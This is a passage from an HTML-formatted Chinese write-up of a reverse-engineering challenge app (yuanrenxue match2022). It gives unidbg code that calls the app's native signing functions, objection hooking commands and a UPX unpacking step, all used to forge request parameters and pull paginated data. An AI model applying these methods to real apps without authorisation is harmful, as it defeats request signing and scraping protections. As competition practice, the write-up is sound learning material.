0px;word-wrap: inherit !important;word-break: inherit !important;"> 7</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">ChallengeTwoFragment</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">()</span> </span>{  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 8</span>        emulator = AndroidEmulatorBuilder  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 9</span>                .for64Bit()  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">10</span>                .addBackendFactory(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> DynarmicFactory(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">true</span>))  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">11</span>                .build();  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">12</span>        memory = emulator.getMemory();  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">13</span>        memory.setLibraryResolver(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> AndroidResolver(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">23</span>));  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">14</span>        vm = emulator.createDalvikVM(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> File(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;file/app/yuanrenxuem106.apk&#34;</span>));  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">15</span>        vm.setDvmClassFactory(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ProxyClassFactory());  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">16</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">17</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">// 加载so到虚拟内存  </span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">18</span>        DalvikModule dm = vm.loadLibrary(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;match02&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">true</span>);  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">19</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">module</span> = dm.getModule();  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">20</span>        vm.callJNI_OnLoad(emulator, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">module</span>);  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">21</span>    }  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">22</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">23</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> String <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">callSign</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(String data)</span> </span>{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">//通过符号  </span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">24</span>        DvmObject&lt;?&gt; object = ProxyDvmObject.createObject(vm, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>);  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">25</span>        DvmObject&lt;?&gt; dvmObject = object.callJniMethodObject(emulator, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;sign(java/lang/String;)java/lang/String;&#34;</span>, data);  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">26</span>        String result = (String) dvmObject.getValue();  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">27</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> result;  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">28</span>    }  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">29</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">30</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">unidbg调用so很简单，直接根据demo修改一下就行，需要注意的是要启动64位的模拟器。获取第一页的数据：</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.17876658860265418" title="图16" data-w="2562" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=8d5ed72d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdlc8EOR1URe6eovgCtJfqE3IlkkuwicSFxXVjFDva5CbaAicRo4ST7HLQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图16</figcaption></figure><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">第三题</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">第三题的话和第二题类似，so文件虽然进行了加密混淆，但是可以直接使用unidbg来调用so文件。   <br/>首先找到第三题的请求参数，一共两个参数<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">page</code>和<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">m</code>。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.09473684210526316" title="图17" data-w="1330" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=90f7123e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdFbWnAdmnQ9KpxhKZjktVTQGWXrh2nEgjPwP24efTloN4olOD0q3g8w%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图17</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">参数<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">m</code>的值是通过<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">crypto</code>来进行加密的，一共两个参数，类型分别为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">String</code>和<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">long</code>。   <br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.09861751152073733" title="图18" data-w="2170" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=59d01e95&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdSaJvTSAeuZQ99iaD37ESdlU8B1rJxTcqTicFJ6mcI1z1Tia0JEvglha6w%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图18</figcaption></figure><br/>查看一下传入的两个参数内容，使用命令：   <br/><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">android hooking watch class_method com.yuanrenxue.match2022.fragment.challenge.ChallengeThreeFragment.crypto --dump-args</code>    <br/><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.2588597842835131" title="图19" data-w="1298" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=878b6d6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdZoicxKO5cqXw9icWty8EhWERRAiaFCSDTF0GgPvp1mpgV4Bb3JqtkxxcQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图19</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">发现第一个参数是页码与时间戳乘以1000来进行拼接的，同时如果页码长度不为3时，需要前面补零，第二个参数为时间戳乘以1000。   <br/>第三题和第二题是同样的套路，直接修改一下就可以使用，主要代码：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> String <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">callCrypto</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(String data,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">long</span> l)</span> </span>{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">//通过符号  </span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>    DvmObject&lt;?&gt; object = ProxyDvmObject.createObject(vm, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>);  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>    DvmObject&lt;?&gt; dvmObject = object.callJniMethodObject(emulator, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;crypto(Ljava/lang/String;J)Ljava/lang/String;&#34;</span>, data,l);  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span>    String result = (String) dvmObject.getValue();  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> result;  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">6</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">获取第一页的数据：</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.11764705882352941" title="图20" data-w="2550" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=2885d05b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdxgfJAxzG1pUC9t6R4tvgylFfmEsPm1ZficweWeRwV9DYwjWLE31dJFQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图20</figcaption></figure><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">第八题</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">第八题与第二题、第三题都是类似的，只不过是so多加了一层upx壳，脱壳后可以通过unidbg来调用。   <br/>脱壳命令：<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">upx -d libmatch08.so</code>    </p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.3072100313479624" title="图21" data-w="1276" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=2a2619cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdnmNg5ovE04PDxcTNWgxhpCJGahic1icCogzuskZXqumbeg274ojdGCCA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图21</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">查看第八题的参数，发现只有一个参数<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">s</code>。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.162748643761302" title="图22" data-w="1106" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=d9d13255&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdFUTOjJDOiarBP7AwMdGaaVQrIEtvRE6Z6z1DhRCJGZA43Hz66gibibDww%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图22</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">通过分析参数<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">s</code>是调用native层的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">data</code>方法来进行加密的，传入的是页码。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.29273285568065505" title="图23" data-w="1954" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=86b846ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdLIJfYmNWHN3LHXY5IlbeWOqkT02zLzXFAPljwG5OVSkBSlCmed3s8w%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图23</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">通过objection来验证一下：   <br/><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">android hooking watch class_method com.yuanrenxue.match2022.fragment.challenge.ChallengeEightFragment.data --dump-args --dump-return</code>    </p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.37422360248447206" title="图24" data-w="1288" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=c34c05fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdPoYyn4pfKKbOrPBHC40cDu5WOS8qh58WkqzMWKhWLIBtavwk1hQnEg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图24</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">发现<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">data</code>方法传入的就是页码，然后使用unidbg来直接调用so文件，主要代码：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> String <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">callData</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> i)</span> </span>{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">//通过符号  </span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>    DvmObject&lt;?&gt; object = ProxyDvmObject.createObject(vm, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>);  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>    DvmObject&lt;?&gt; dvmObject = object.callJniMethodObject(emulator, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;data(I)Ljava/lang/String;&#34;</span>, i);  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span>    String result = (String) dvmObject.getValue();  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> result;  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">6</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">获取第一页的数据：</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.1150855365474339" title="图25" data-w="2572" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=59f711ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdHZYhVMxvtCDZwZXcM0LEgVpxUnmTic2wLn2AZtg6dcmUuM3mH7jOx3w%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图25</figcaption></figure><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">第五题</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">第五题的话也不难，从网上copy一个双向证书请求的代码就可以来完成。但需要注意几点：一是请求的URL有所变化，二是要找到key，三是如果用java来写的话，要<strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">注意jdk的版本</strong>，当时就是由于jdk的版本导致当时没做出来，换了个jdk版本，立马就出来结果了。   <br/>首先来分析参数，可以看出来请求的路径有所变化，参数的话只有一个，就是页码<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">page</code>。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.1423076923076923" title="图26" data-w="1040" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=4c883a49&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdBFicISHsNLSOrTiaCVibSMPgz8kGNicwL8uwic5TTwbHmdQGVWR7dLWSkBA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图26</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: 